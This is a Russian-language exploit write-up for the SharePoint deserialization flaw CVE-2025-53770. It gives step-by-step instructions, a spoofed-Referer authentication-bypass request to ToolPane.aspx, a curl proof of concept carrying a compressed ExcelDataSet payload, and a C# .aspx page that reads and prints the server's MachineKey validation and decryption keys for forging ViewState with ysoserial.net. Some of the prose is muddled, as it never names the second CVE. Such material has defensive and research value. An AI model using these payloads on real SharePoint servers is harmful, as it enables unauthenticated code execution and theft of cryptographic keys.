
CVE-2025-53770 - SharePoint
Десериализация ненадёжных данных в локальном Microsoft SharePoint Server позволяет злоумышленнику удалённо выполнить код и скомпрометировать систему. Microsoft известно об активной эксплуатации, и компания готовит комплексное обновление. Убедитесь, что меры смягчения, указанные в документации CVE, действуют.
Это критическое удалённое выполнение кода (RCE). Оно использует небезопасную десериализацию ненадёжных данных, позволяя атакующему выполнить произвольный код без аутентификации.
Это уязвимость обхода аутентификации (спуфинг) через манипуляцию HTTP-заголовком (особенно полем Referer), позволяющая обойти контроль доступа и повысить привилегии до RCE совместно с CVE-53770.
Обе заменяют предыдущие патчи (CVE-2025-49704 и CVE-2025-49706), которые были установлены в июле, но оказались неполными, открывая новые векторы атак.
1 - (Обход аутентификации): /layouts/15/ToolPane.aspx
Шаг 1 – Сделайте POST-запрос к уязвимому URL. Шаг 2 – Загрузите .aspx файл с кодом, который читает MachineKey (как в вашем сниппете). Шаг 3 – Создайте вредоносный ViewState с помощью таких инструментов, как ysoserial.net, настроенных с этими ключами.
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: sharepoint.lab.local
Referer: /_layouts/SignOut.aspx
Content-Length: 0
Следующая PoC демонстрирует, как злоумышленник может использовать уязвимость для извлечения и декодирования вредоносных полезных нагрузок через уязвимую конечную точку.
Целевой домен намеренно заменён на target.com.
Команда PoC 1
curl -sk -X POST 'https://target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' \
-H 'Referer: /_layouts/SignOut.aspx' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'MSOTlPn_Uri=https://target.com' \
--data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>' \
| grep -oP 'CompressedDataTable="\K[^&]+(?=")' \
| base64 -d 2>/dev/null \
| gzip -d 2>/dev/null \
| tee /tmp/sharepoint_decoded_payload.txt \
| grep -Ei 'IntruderScannerDetectionPayload|ExcelDataSet|divWaiting|ProgressTemplate|Scorecard'
Реальная команда, использованная в анализе
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="C#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey + "|" + cg.Validation + "|" + cg.DecryptionKey + "|" + cg.Decryption + "|" + cg.CompatibilityMode);
}
</script>